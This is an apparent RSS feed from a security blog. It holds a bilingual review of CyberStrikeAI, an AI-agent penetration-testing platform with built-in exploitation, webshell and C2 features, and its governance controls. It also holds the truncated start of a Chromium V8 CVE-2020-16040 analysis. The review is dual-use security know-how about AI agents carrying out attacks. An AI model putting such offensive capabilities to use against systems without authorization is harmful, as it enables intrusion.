<?xml version="1.0" encoding="utf-8"?>
<rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom" xmlns:content="http://purl.org/rss/1.0/modules/content/">
  <channel>
    <title>西风微雨 - Wester's blog</title>
    <link>https://we5ter.github.io/</link>
    <description>安全研究员，研究方向：AI 红队 · 移动安全 · agent安全治理</description>
    <language>en</language>
    <copyright>All rights reserved 2026, Wester</copyright>
    <lastBuildDate>Fri, 18 Sep 2026 03:40:00 GMT</lastBuildDate>
    <generator>Hexo</generator>
    <image>
      <url>https://we5ter.github.io/images/static/avatar.png</url>
      <title>西风微雨 - Wester's blog</title>
      <link>https://we5ter.github.io/</link>
    </image>
    <atom:link href="https://we5ter.github.io/atom.xml" rel="self" type="application/rss+xml"/>
    <item>
      <title>CyberStrikeAI 拆解：AI 原生安全的「执行中枢」是怎么治理 Agent 的</title>
      <link>https://we5ter.github.io/ai-tools/cyberstrikeai-ai-native-security-hub/</link>
      <description>Go + Eino 编排，6879 star，100+ YAML 工具配方与 MCP 接入。它的差异不在能调多少工具，而在于敢不敢让 Agent 真的动手。</description>
      <author>Wester</author>
      <pubDate>Fri, 18 Sep 2026 02:30:00 GMT</pubDate>
      <content:encoded>
        <![CDATA[<h2 id="一、速览：值不值得你花时间"><a href="#一、速览：值不值得你花时间" class="headerlink" title="一、速览：值不值得你花时间"></a>一、速览：值不值得你花时间</h2><p><strong>推荐指数：★★★★☆（4.5 &#x2F; 5）</strong></p><p>给到这个分数的理由：它是目前少见<strong>把治理做进主干</strong>的 AI 安全执行平台，不是又一个「套壳调 nmap 的 LLM demo」。扣掉的半颗星在于部署和调教成本不低 —— 你得有能用的模型 API、能接受 Go 技术栈，还得有配套的授权流程。</p><h3 id="关键数据（截至-2026-09-18）"><a href="#关键数据（截至-2026-09-18）" class="headerlink" title="关键数据（截至 2026-09-18）"></a>关键数据（截至 2026-09-18）</h3><table><thead><tr><th>项</th><th>值</th></tr></thead><tbody><tr><td>语言</td><td><strong>Go</strong>（部分工具跑在 Python venv 里）</td></tr><tr><td>Star &#x2F; Fork</td><td><strong>6,879</strong> &#x2F; 1,173</td></tr><tr><td>许可证</td><td><strong>Apache-2.0</strong>（明确允许二次开发与商用）</td></tr><tr><td>活跃度</td><td>今天仍在提交；Open Issues 61</td></tr><tr><td>首次发布</td><td>2025-11（约 10 个月涨到近 7k star，增速很猛）</td></tr><tr><td>官方标签</td><td>ai-agents、mcp、pentesting-tools、ctf-tools</td></tr></tbody></table><h3 id="适合谁"><a href="#适合谁" class="headerlink" title="适合谁"></a>适合谁</h3><table><thead><tr><th>人群</th><th>匹配度</th><th>说明</th></tr></thead><tbody><tr><td><strong>红队 &#x2F; 渗透工程师</strong></td><td>★★★★★</td><td>100+ 工具配方覆盖完整攻击链，攻击链建模和跨会话项目是刚需</td></tr><tr><td><strong>AI 安全研究员</strong></td><td>★★★★★</td><td>治理层（审批、拦截、审计 Agent）本身就是很好的研究对象</td></tr><tr><td><strong>企业安全运营</strong></td><td>★★★★☆</td><td>RBAC、审计日志、资产管理齐全，但<strong>前提是已有授权审批流程</strong></td></tr><tr><td><strong>CTF 选手</strong></td><td>★★★☆☆</td><td>内置 CTF 工具分类（stegsolve、zsteg、cyberchef 等），但平台偏重，临场不如小工具快</td></tr><tr><td><strong>个人学习 &#x2F; 随手玩</strong></td><td>★★☆☆☆</td><td>要 Go 环境 + 模型 API + 一堆外部工具，起步成本不低</td></tr></tbody></table><p>一句话判断：<strong>它服务的是「有流程的团队」，不是「想一键出报告的个人」。</strong></p><h3 id="二次开发"><a href="#二次开发" class="headerlink" title="二次开发"></a>二次开发</h3><p><strong>允许吗？允许。</strong> Apache-2.0 是宽松许可证，可商用、可修改、可闭源再发布，只需保留版权声明和变更说明。</p><p><strong>难不难？分层看：</strong></p><table><thead><tr><th>改动层级</th><th>难度</th><th>说明</th></tr></thead><tbody><tr><td>加工具配方</td><td>★☆☆☆☆</td><td><code>tools/</code> 下写一个 YAML，不用碰 Go 代码</td></tr><tr><td>加 Skills &#x2F; 角色</td><td>★★☆☆☆</td><td>目录结构固定，照 <code>skills/</code>、<code>roles/</code> 示例抄即可</td></tr><tr><td>接外部系统（API &#x2F; 机器人）</td><td>★★★☆☆</td><td>有 API 参考和 Recipes，但要理解鉴权与 Scope</td></tr><tr><td>改 Agent 编排内核</td><td>★★★★☆</td><td>Go + Eino 框架，得吃透它的多智能体模式</td></tr></tbody></table><p>对大多数人来说，<strong>加工具配方 + 加角色</strong>这两层已经够用，也几乎不需要写代码。</p><hr><h2 id="二、先说它是什么，不是什么"><a href="#二、先说它是什么，不是什么" class="headerlink" title="二、先说它是什么，不是什么"></a>二、先说它是什么，不是什么</h2><p>最近 AI 安全工具大体分两派：</p><ul><li><strong>评估派</strong>：Garak、Promptfoo 这类，拿一堆探针打模型，看它抗不抗打，产出是一份分数报告</li><li><strong>执行派</strong>：让 Agent 真的拿起 nmap、sqlmap、nuclei 去干活</li></ul><p>CyberStrikeAI 属于后者，而且它给自己贴的标签很准确 —— <strong>执行中枢</strong>，不是扫描器。</p><blockquote><p>让意图转化为受治理的行动，让证据沉淀为运营记忆，并让每次行动优化下一次行动。</p></blockquote><p>这句话是它的主线，也是理解整个项目的钥匙。</p><h2 id="三、技术栈与六段闭环"><a href="#三、技术栈与六段闭环" class="headerlink" title="三、技术栈与六段闭环"></a>三、技术栈与六段闭环</h2><table><thead><tr><th>层</th><th>选型</th><th>说明</th></tr></thead><tbody><tr><td>语言</td><td>Go 1.25+</td><td>单体后端，<code>cmd/server/main.go</code> 一个入口</td></tr><tr><td>编排</td><td>Eino</td><td>字节开源的 Go 语言 LLM 应用框架</td></tr><tr><td>工具协议</td><td>MCP</td><td>支持 HTTP、stdio、SSE、外部联邦、动态发现</td></tr><tr><td>持久化</td><td>SQLite</td><td>对话、资产、漏洞、审计日志</td></tr><tr><td>工具运行时</td><td>Python 3.10+ venv</td><td>部分工具（api-fuzzer 等）自动走虚拟环境</td></tr></tbody></table><p>前端是自带的 Web 控制台，另外提供 Burp Suite 插件和 Chrome&#x2F;Edge 扩展（在 DevTools 里抓流量回传）。</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br></pre></td><td class="code"><pre><span class="line">1 意图 ──► 2 编排 ──► 3 治理</span><br><span class="line">                        │</span><br><span class="line">                        ▼</span><br><span class="line">6 记忆 ◄── 5 证据 ◄── 4 执行</span><br><span class="line">   │</span><br><span class="line">   └──────► 反哺下一次规划（虚线）</span><br></pre></td></tr></table></figure><p><strong>1 · 意图</strong>：自然语言下达，比如「扫描 192.168.1.1 的开放端口」。</p><p><strong>2 · 编排</strong>：Eino 支撑单智能体，以及 Deep、Plan-Execute、Supervisor 三种多智能体模式。工作流用 Agent &#x2F; 工具 &#x2F; 条件 &#x2F; <strong>审批</strong> &#x2F; 输出五类节点拼装 —— 注意「审批」被做成了一等节点，这很少有项目这么做。</p><p><strong>3 · 治理</strong>（差异化所在）：</p><ul><li>审批模式 + 工具白名单</li><li>审计 Agent 复核 + 决策追踪</li><li><strong>MCP 调用前正则拦截</strong>，带试匹配和提醒模板，<strong>默认启用政府域名保护</strong></li><li>平台 RBAC：多用户、自定义角色、权限 Scope、资源归属</li><li>登录保护 + 审计日志</li></ul><p><strong>4 · 执行</strong>：100+ 精选 YAML 工具配方，覆盖网络扫描、Web 扫描、漏洞利用、云安全、取证、后渗透等 15 类；MCP 侧支持联邦和动态工具发现。</p><p><strong>5 · 证据</strong>：数据库里存的是<strong>与 Agent 实际看到的同一份兜底后结果</strong>，恢复历史时还会再做一次超大输出防御。</p><p><strong>6 · 记忆</strong>：RAG 知识库（查询改写 + 向量检索 + 精排 + 后处理）、Agent Skills 渐进式加载、项目与<strong>攻击链建模</strong>（跨会话关联事实、风险评分、图谱视图、步骤回放）。</p><h2 id="四、几个真正见功力的工程细节"><a href="#四、几个真正见功力的工程细节" class="headerlink" title="四、几个真正见功力的工程细节"></a>四、几个真正见功力的工程细节</h2><h3 id="弹性工具执行：解决「Agent-干等」"><a href="#弹性工具执行：解决「Agent-干等」" class="headerlink" title="弹性工具执行：解决「Agent 干等」"></a>弹性工具执行：解决「Agent 干等」</h3><p>这是我认为最值得抄的一块。渗透工具经常跑很久（一次全端口 nmap、一个大范围 nuclei），如果 Agent 同步阻塞等待，要么超时要么把上下文炸掉。</p><p>它的做法是：</p><ul><li>阻塞型 MCP &#x2F; 工具调用<strong>交给 worker</strong>，Agent 只有限等待</li><li>用 <code>execution_id</code> 支持<strong>多轮等待</strong>和主动取消</li><li>单 server <strong>熔断</strong>、并发限制</li><li><strong>统一输出兜底</strong> —— 工具吐 5MB 报告也不会把上下文撑爆</li></ul><p>配合上面「证据」那一环，形成闭环：兜底后的结果既是 Agent 看到的，也是入库的，前后一致。</p><h3 id="视觉分析只回传文字摘要"><a href="#视觉分析只回传文字摘要" class="headerlink" title="视觉分析只回传文字摘要"></a>视觉分析只回传文字摘要</h3><p>截图、验证码、UI 交给独立的视觉模型，对话里只留文字结论。同样的上下文洁癖。</p><h3 id="工具配方是-YAML，不是硬编码"><a href="#工具配方是-YAML，不是硬编码" class="headerlink" title="工具配方是 YAML，不是硬编码"></a>工具配方是 YAML，不是硬编码</h3><p><code>tools/</code> 下 100+ 个 YAML 配方，新增工具不用改 Go 代码。这既是它的资产也是门槛 —— 想用得好，得先花时间校对自家环境里到底装了哪些工具（未安装的执行时会自动跳过或换替代方案）。</p><h2 id="五、上手"><a href="#五、上手" class="headerlink" title="五、上手"></a>五、上手</h2><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line">git <span class="built_in">clone</span> https://github.com/AIPentest/CyberStrikeAI.git</span><br><span class="line"><span class="built_in">cd</span> CyberStrikeAI</span><br><span class="line"><span class="built_in">chmod</span> +x run.sh &amp;&amp; ./run.sh</span><br></pre></td></tr></table></figure><p><code>run.sh</code> 一条命令搞定：校验 Go&#x2F;Python 环境 → 建 venv → 装 Python 依赖 → 拉 Go 模块 → 编译 → 启动。默认以 <strong>HTTPS + 自签证书</strong> 跑在 <code>8080</code>（多路流式场景更稳），要明文 HTTP 用 <code>./run.sh --http</code>。</p><p>首次启动控制台会打印一次 <code>admin</code> 初始密码，登录后第一件事是改掉。</p><p>最小配置只要一个 AI 通道：</p><figure class="highlight yaml"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br></pre></td><td class="code"><pre><span class="line"><span class="attr">server:</span></span><br><span class="line">  <span class="attr">host:</span> <span class="string">&quot;127.0.0.1&quot;</span></span><br><span class="line">  <span class="attr">port:</span> <span class="number">8080</span></span><br><span class="line"><span class="attr">ai:</span></span><br><span class="line">  <span class="attr">default_channel:</span> <span class="string">openai-main</span></span><br><span class="line">  <span class="attr">channels:</span></span><br><span class="line">    <span class="attr">openai-main:</span></span><br><span class="line">      <span class="attr">provider:</span> <span class="string">openai_compatible</span></span><br><span class="line">      <span class="attr">api_key:</span> <span class="string">&quot;$&#123;OPENAI_API_KEY&#125;&quot;</span></span><br><span class="line">      <span class="attr">base_url:</span> <span class="string">&quot;https://api.openai.com/v1&quot;</span>   <span class="comment"># 或 deepseek / qwen 等兼容端点</span></span><br><span class="line">      <span class="attr">model:</span> <span class="string">&quot;gpt-4o&quot;</span></span><br></pre></td></tr></table></figure><p>升级用 <code>./upgrade.sh</code>，它会先备份 <code>config.yaml</code> 和 <code>data/</code>，且<strong>不覆盖</strong>本地的 <code>tools/</code>、<code>roles/</code>、<code>skills/</code>。</p><h2 id="六、边界与风险"><a href="#六、边界与风险" class="headerlink" title="六、边界与风险"></a>六、边界与风险</h2><p>必须说清楚的部分：</p><ul><li>内置 <strong>WebShell 管理</strong>和 <strong>C2</strong>（监听器、加密 Beacon、会话、任务队列、Payload 辅助）—— 这些是实打实的高风险能力</li><li>README 反复强调：<strong>仅可用于自有系统或已获明确授权的目标</strong></li><li>默认监听 <code>127.0.0.1</code>。要暴露到 localhost 之外，先读它的安全模型和加固指南</li></ul><p>这类项目值不值得上，核心不在功能表，而在<strong>你有没有配套的授权流程和操作审计</strong>。CyberStrikeAI 好在把审批、拦截、RBAC、审计日志都做进了产品，而不是留给用户自己补。</p><h2 id="七、一句话"><a href="#七、一句话" class="headerlink" title="七、一句话"></a>七、一句话</h2><p>它的差异不在「能调多少工具」—— 100+ 配方别人攒一攒也有；差异在于<strong>敢不敢让 Agent 真的动手</strong>，以及动完手之后留下的是不是一份可审计、可复用的记录。</p><p>项目：<a href="https://github.com/AIPentest/CyberStrikeAI">https://github.com/AIPentest/CyberStrikeAI</a> · Apache 2.0 · 已加入 404 星链计划</p><hr><p>本文是 <a href="/ai-tools/">Scanners-Box 每日 AI 工具推荐</a> 的详细分析篇。</p>]]>
      </content:encoded>
    </item>
    <item>
      <title>CyberStrikeAI Breakdown: How the AI-Native Security &quot;Execution Hub&quot; Governs Agents</title>
      <link>https://we5ter.github.io/en/ai-tools/cyberstrikeai-ai-native-security-hub/</link>
      <description>Go + Eino orchestration, 6,879 stars, 100+ YAML tool recipes and MCP integration. Its edge is not how many tools it can call, but whether it dares to let an Agent really act.</description>
      <author>Wester</author>
      <pubDate>Fri, 18 Sep 2026 02:30:00 GMT</pubDate>
      <content:encoded>
        <![CDATA[<h2 id="1-At-a-Glance-Worth-Your-Time"><a href="#1-At-a-Glance-Worth-Your-Time" class="headerlink" title="1. At a Glance: Worth Your Time?"></a>1. At a Glance: Worth Your Time?</h2><p><strong>Recommendation: ★★★★☆ (4.5 &#x2F; 5)</strong></p><p>The reason for this score: it’s one of the few AI security execution platforms that bake governance into the main loop — not yet another “LLM demo wrapping nmap.” Half a star off because the deployment and tuning cost is non-trivial. You need a working model API, tolerance for a Go-centric stack, and a working authorization process around it.</p><h3 id="Key-Facts-as-of-2026-09-18"><a href="#Key-Facts-as-of-2026-09-18" class="headerlink" title="Key Facts (as of 2026-09-18)"></a>Key Facts (as of 2026-09-18)</h3><table><thead><tr><th>Field</th><th>Value</th></tr></thead><tbody><tr><td>Language</td><td><strong>Go</strong> (some tools run inside a Python venv)</td></tr><tr><td>Stars &#x2F; Forks</td><td><strong>6,879</strong> &#x2F; 1,173</td></tr><tr><td>License</td><td><strong>Apache-2.0</strong> (commercial use and redistribution are permitted)</td></tr><tr><td>Activity</td><td>Still receiving commits today; 61 open issues</td></tr><tr><td>First release</td><td>2025-11 (~10 months to nearly 7k star, very fast growth)</td></tr><tr><td>Official topics</td><td>ai-agents, mcp, pentesting-tools, ctf-tools</td></tr></tbody></table><h3 id="Who-It’s-For"><a href="#Who-It’s-For" class="headerlink" title="Who It’s For"></a>Who It’s For</h3><table><thead><tr><th>Audience</th><th>Fit</th><th>Notes</th></tr></thead><tbody><tr><td><strong>Red team &#x2F; pentesters</strong></td><td>★★★★★</td><td>100+ tool recipes cover the full attack chain; attack-chain modeling and cross-session projects are exactly what you need</td></tr><tr><td><strong>AI security researchers</strong></td><td>★★★★★</td><td>The governance layer (approval, intercept, audit Agent) is itself a great research subject</td></tr><tr><td><strong>Enterprise security ops</strong></td><td>★★★★☆</td><td>RBAC, audit logs, and asset management are solid — but <strong>you need an authorization workflow already in place</strong></td></tr><tr><td><strong>CTF players</strong></td><td>★★★☆☆</td><td>Built-in CTF tool category (stegsolve, zsteg, cyberchef, etc.) — but the platform is heavyweight for live events where speed wins</td></tr><tr><td><strong>Casual learning &#x2F; hobby</strong></td><td>★★☆☆☆</td><td>Requires Go toolchain + model API + a pile of external tools; the ramp-up is not small</td></tr></tbody></table><p>One-line verdict: <strong>it serves “teams with a process,” not “individuals who want a one-click report.”</strong></p><h3 id="Forking-Customization"><a href="#Forking-Customization" class="headerlink" title="Forking &amp; Customization"></a>Forking &amp; Customization</h3><p><strong>Allowed? Yes.</strong> Apache-2.0 is permissive: commercial use, modification, and closed-source redistribution are all fine. You only need to retain copyright notices and document changes.</p><p><strong>Hard? Layered:</strong></p><table><thead><tr><th>Change layer</th><th>Difficulty</th><th>Notes</th></tr></thead><tbody><tr><td>Add a tool recipe</td><td>★☆☆☆☆</td><td>Drop a YAML in <code>tools/</code> — no Go required</td></tr><tr><td>Add Skills &#x2F; roles</td><td>★★☆☆☆</td><td>Fixed directory layout; just copy from <code>skills/</code> and <code>roles/</code> examples</td></tr><tr><td>Integrate external systems (APIs &#x2F; bots)</td><td>★★★☆☆</td><td>API docs and Recipes exist, but you have to understand auth and scopes</td></tr><tr><td>Modify the Agent orchestration core</td><td>★★★★☆</td><td>Go + Eino framework; you need to grok its multi-agent patterns</td></tr></tbody></table><p>For most users, <strong>adding tool recipes + adding roles</strong> is all you’ll need, and you barely need to write any code.</p><hr><h2 id="2-What-It-Is-—-and-What-It-Isn’t"><a href="#2-What-It-Is-—-and-What-It-Isn’t" class="headerlink" title="2. What It Is — and What It Isn’t"></a>2. What It Is — and What It Isn’t</h2><p>Recent AI security tools broadly split into two camps:</p><ul><li><strong>Evaluation camp</strong>: Garak, Promptfoo, etc. — throw probes at a model and see if it holds up; output is a score report.</li><li><strong>Execution camp</strong>: let Agents actually pick up nmap, sqlmap, nuclei and do work.</li></ul><p>CyberStrikeAI belongs to the second, and its self-labeling is accurate — an <strong>execution hub</strong>, not a scanner.</p><blockquote><p>Turn intent into governed action. Turn evidence into operational memory. Let every action improve the next one.</p></blockquote><p>That sentence is the project’s main thread, and it’s the key to understanding everything else.</p><h2 id="3-Tech-Stack-and-the-Six-Stage-Loop"><a href="#3-Tech-Stack-and-the-Six-Stage-Loop" class="headerlink" title="3. Tech Stack and the Six-Stage Loop"></a>3. Tech Stack and the Six-Stage Loop</h2><table><thead><tr><th>Layer</th><th>Choice</th><th>Notes</th></tr></thead><tbody><tr><td>Language</td><td>Go 1.25+</td><td>Monolithic backend, single entry at <code>cmd/server/main.go</code></td></tr><tr><td>Orchestration</td><td>Eino</td><td>ByteDance’s open-source LLM app framework for Go</td></tr><tr><td>Tool protocol</td><td>MCP</td><td>HTTP, stdio, SSE, federated servers, dynamic discovery</td></tr><tr><td>Persistence</td><td>SQLite</td><td>Conversations, assets, findings, audit logs</td></tr><tr><td>Tool runtime</td><td>Python 3.10+ venv</td><td>Some tools (api-fuzzer etc.) auto-route through a virtualenv</td></tr></tbody></table><p>Frontend is a built-in web console; a Burp Suite plugin and a Chrome&#x2F;Edge extension are also provided (capture traffic from DevTools and feed it back).</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br></pre></td><td class="code"><pre><span class="line">1 Intent ──► 2 Orchestrate ──► 3 Govern</span><br><span class="line">                                  │</span><br><span class="line">                                  ▼</span><br><span class="line">6 Memory ◄── 5 Evidence ◄── 4 Execute</span><br><span class="line">   │</span><br><span class="line">   └──────► Feeds next planning (dashed)</span><br></pre></td></tr></table></figure><p><strong>1 · Intent</strong>: natural language — e.g., “scan 192.168.1.1 for open ports.”</p><p><strong>2 · Orchestrate</strong>: Eino supports a single agent plus three multi-agent modes — Deep, Plan-Execute, and Supervisor. Workflows are composed from five node types: Agent &#x2F; Tool &#x2F; Condition &#x2F; <strong>Approval</strong> &#x2F; Output. Note that <strong>Approval is a first-class node</strong> here, which is rare.</p><p><strong>3 · Govern</strong> (the differentiator):</p><ul><li>Approval mode + tool allow-lists</li><li>Audit Agent review + decision tracking</li><li><strong>MCP pre-call regex interception</strong> with probe-matching and alert templates; <strong>government-domain protection enabled by default</strong></li><li>Platform RBAC: multi-user, custom roles, permission scopes, resource ownership</li><li>Login protection + audit log</li></ul><p><strong>4 · Execute</strong>: 100+ curated YAML tool recipes across 15 categories — network scanning, web scanning, exploitation, cloud security, forensics, post-exploitation, etc. The MCP side supports federation and dynamic tool discovery.</p><p><strong>5 · Evidence</strong>: what the database stores is <strong>the same truncated result the Agent actually saw</strong>, and on history replay it re-enforces large-output protection so the context isn’t blown up again.</p><p><strong>6 · Memory</strong>: a RAG knowledge base (query rewrite + vector retrieval + rerank + post-processing), progressive Skills loading for Agents, projects and <strong>attack-chain modeling</strong> (cross-session fact linking, risk scoring, graph view, step replay).</p><h2 id="4-A-Few-Engineering-Details-That-Actually-Show-Craft"><a href="#4-A-Few-Engineering-Details-That-Actually-Show-Craft" class="headerlink" title="4. A Few Engineering Details That Actually Show Craft"></a>4. A Few Engineering Details That Actually Show Craft</h2><h3 id="Elastic-Tool-Execution-Solving-“Agent-Stalls”"><a href="#Elastic-Tool-Execution-Solving-“Agent-Stalls”" class="headerlink" title="Elastic Tool Execution: Solving “Agent Stalls”"></a>Elastic Tool Execution: Solving “Agent Stalls”</h3><p>This is the piece I think is most worth copying. Pentest tools often run for a long time (a full-port nmap, a wide nuclei sweep). If the Agent blocks synchronously, it either times out or blows the context window.</p><p>What this project does:</p><ul><li>Block-style MCP &#x2F; tool calls are <strong>offloaded to a worker</strong>; the Agent only waits with a short deadline</li><li>Supports <strong>multi-round wait</strong> and active cancellation via <code>execution_id</code></li><li>Per-server <strong>circuit breaking</strong> and concurrency limits</li><li><strong>Uniform output truncation</strong> — a 5MB tool report won’t blow up the context</li></ul><p>Combined with the “Evidence” step above, this closes a loop: the truncated result is both what the Agent sees and what gets stored, keeping both consistent.</p><h3 id="Vision-Analysis-Returns-Text-Summaries-Only"><a href="#Vision-Analysis-Returns-Text-Summaries-Only" class="headerlink" title="Vision Analysis Returns Text Summaries Only"></a>Vision Analysis Returns Text Summaries Only</h3><p>Screenshots, CAPTCHAs, and UI go to a separate vision model; the conversation keeps only the textual conclusion. Same context hygiene.</p><h3 id="Tool-Recipes-Are-YAML-Not-Hardcoded"><a href="#Tool-Recipes-Are-YAML-Not-Hardcoded" class="headerlink" title="Tool Recipes Are YAML, Not Hardcoded"></a>Tool Recipes Are YAML, Not Hardcoded</h3><p>100+ recipes under <code>tools/</code>, and adding a new tool doesn’t require Go changes. This is both an asset and a barrier — to use it well you need to audit which tools are actually installed in your environment (uninstalled ones get auto-skipped or swapped at runtime).</p><h2 id="5-Getting-Started"><a href="#5-Getting-Started" class="headerlink" title="5. Getting Started"></a>5. Getting Started</h2><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line">git <span class="built_in">clone</span> https://github.com/AIPentest/CyberStrikeAI.git</span><br><span class="line"><span class="built_in">cd</span> CyberStrikeAI</span><br><span class="line"><span class="built_in">chmod</span> +x run.sh &amp;&amp; ./run.sh</span><br></pre></td></tr></table></figure><p><code>run.sh</code> does it all in one shot: verify Go&#x2F;Python envs → create venv → install Python deps → fetch Go modules → build → start. By default it runs on <strong>HTTPS with a self-signed cert</strong> on port <code>8080</code> (more stable for multi-channel scenarios); pass <code>--http</code> for plain HTTP.</p><p>The console prints the initial <code>admin</code> password on first start — change it as your first action.</p><p>A minimal config only needs one AI channel:</p><figure class="highlight yaml"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br></pre></td><td class="code"><pre><span class="line"><span class="attr">server:</span></span><br><span class="line">  <span class="attr">host:</span> <span class="string">&quot;127.0.0.1&quot;</span></span><br><span class="line">  <span class="attr">port:</span> <span class="number">8080</span></span><br><span class="line"><span class="attr">ai:</span></span><br><span class="line">  <span class="attr">default_channel:</span> <span class="string">openai-main</span></span><br><span class="line">  <span class="attr">channels:</span></span><br><span class="line">    <span class="attr">openai-main:</span></span><br><span class="line">      <span class="attr">provider:</span> <span class="string">openai_compatible</span></span><br><span class="line">      <span class="attr">api_key:</span> <span class="string">&quot;$&#123;OPENAI_API_KEY&#125;&quot;</span></span><br><span class="line">      <span class="attr">base_url:</span> <span class="string">&quot;https://api.openai.com/v1&quot;</span>   <span class="comment"># or any OpenAI-compatible endpoint (deepseek, qwen, …)</span></span><br><span class="line">      <span class="attr">model:</span> <span class="string">&quot;gpt-4o&quot;</span></span><br></pre></td></tr></table></figure><p>Upgrade with <code>./upgrade.sh</code> — it backs up <code>config.yaml</code> and <code>data/</code> first, and <strong>won’t overwrite</strong> your local <code>tools/</code>, <code>roles/</code>, or <code>skills/</code>.</p><h2 id="6-Boundaries-and-Risks"><a href="#6-Boundaries-and-Risks" class="headerlink" title="6. Boundaries and Risks"></a>6. Boundaries and Risks</h2><p>These need to be said out loud:</p><ul><li>Built-in <strong>WebShell management</strong> and <strong>C2</strong> (listeners, encrypted beacons, sessions, task queues, payload helpers) — these are unambiguously high-risk capabilities</li><li>The README repeatedly emphasizes: <strong>use only on systems you own or for which you have explicit authorization</strong></li><li>Default bind is <code>127.0.0.1</code>. Before exposing it elsewhere, read the security and exposure-hardening guides</li></ul><p>Whether a project like this is worth deploying doesn’t hinge on the feature table — it hinges on <strong>whether you already have an authorization process and operational audit in place</strong>. CyberStrikeAI’s win is that approval, interception, RBAC, and audit logs are built into the product, not left for users to bolt on.</p><h2 id="7-One-Sentence"><a href="#7-One-Sentence" class="headerlink" title="7. One Sentence"></a>7. One Sentence</h2><p>Its edge isn’t “how many tools it can call” — 100+ recipes are something anyone can collect in time. The edge is <strong>whether it dares to let the Agent really act</strong>, and whether what’s left behind is an auditable, reusable record.</p><p>Project: <a href="https://github.com/AIPentest/CyberStrikeAI">https://github.com/AIPentest/CyberStrikeAI</a> · Apache 2.0 · Added to the 404 Starlink Project</p><hr><p>This article is the long-form analysis for <a href="/ai-tools/">Scanners-Box Daily AI Tool Picks</a>.</p>]]>
      </content:encoded>
    </item>
    <item>
      <title>CVE-2020-16040:Analysis of Chromium V8 engine integer overflow vulnerability</title>
      <link>https://we5ter.github.io/blogs/CVE-2020-16040/</link>
      <description>
        <![CDATA[<h3 id="Vulnerability-Overview"><a href="#Vulnerability-Overview" class="headerlink" title="Vulnerability Overview"></a>Vulnerability Overview</h3><p>V8 is the JavaScript engine in the Chromium kernel, responsible for interpreting, optimizing, and executing JavaScript code. CVE-2020-16040 (crbug.com]]>
      </description>
      <author>Wester</author>
      <category domain="https://we5ter.github.io/tags/Browser-Security/">Browser Security</category>
      <pubDate>Thu, 08 Aug 2024 11:00:41 GMT</pubDate>
      <content:encoded>
        <![CDATA[<h3 id="Vulnerability-Overview"><a href="#Vulnerability-Overview" class="headerlink" title="Vulnerability Overview"></a>Vulnerability Overview</h3><p>V8 is the JavaScript engine in the Chromium kernel, responsible for interpreting, optimizing, and executing JavaScript code. CVE-2020-16040 (crbug.com&#x2F;1150649) is an integer overflow vulnerability generated by the V8 optimization compiler Turbofan in the SimplifiedLowering phase.</p><h3 id="Vulnerability-Analysis"><a href="#Vulnerability-Analysis" class="headerlink" title="Vulnerability Analysis"></a>Vulnerability Analysis</h3><h4 id="1-What-is-Turbofan"><a href="#1-What-is-Turbofan" class="headerlink" title="1) What is Turbofan?"></a>1) What is Turbofan?</h4><p>The following is the workflow of the V8 engine:</p><p><img src="/images/posts/v8-turbofan-workflow.png" alt="V8 Engine Workflow"></p><p><strong>Parser</strong>: Responsible for analyzing the syntax errors of the source code, converting it into an AST abstract syntax tree, and determining the lexical scope by using the tokens obtained through lexical analysis of the source code:</p><p><img src="/images/posts/v8-bytecode.png" alt="V8 Bytecode"></p><p><strong>Ignition (Interpreter)</strong>: Responsible for converting AST into intermediate code, namely bytecode, and interpreting and executing the bytecode line by line. At this stage, the JavaScript code has already begun to execute.</p><p>Consider the following code bytecode.js:</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line">let ziwu_add = (x,y) =&gt; &#123;</span><br><span class="line"> return x + y;</span><br><span class="line"> &#125;</span><br><span class="line"> ziwu_add(1,2)</span><br></pre></td></tr></table></figure><p>Use the command <code>./d8 bytecode.js --allow-natives-syntax --print-bytecode --print-bytecode-filter ziwu_add</code> to get its bytecode:</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br></pre></td><td class="code"><pre><span class="line">[generated bytecode for function: ziwu_add (0x1984082d26e1 &lt;SharedFunctionInfo ziwu_add&gt;)]</span><br><span class="line"> Parameter count 3</span><br><span class="line"> Register count 0</span><br><span class="line"> Frame size 0</span><br><span class="line"> 0x1984082d2826 @ 0 : 25 04 Ldar a1</span><br><span class="line"> 0x1984082d2828 @ 2 : 35 03 00 Add a0, [0]</span><br><span class="line"> 0x1984082d282b @ 5 : ab Return</span><br><span class="line"> Constant pool (size = 0)</span><br><span class="line"> Handler Table (size = 0)</span><br><span class="line"> Source Position Table (size = 0)</span><br><span class="line"></span><br><span class="line">Add a0, [0]That is, the bytecode, which tells V8 that we want to perform an addition operation.</span><br></pre></td></tr></table></figure><p><strong>TurboFan (optimizing compiler)</strong>：Responsible for taking bytecode and some analysis data as input and generating optimized machine code. When Ignition converts JavaScript code into bytecode, the code starts to execute. V8 will keep observing the execution of JavaScript code and record execution information, such as the number of executions of each function, the type of parameters passed each time the function is called, etc. If the 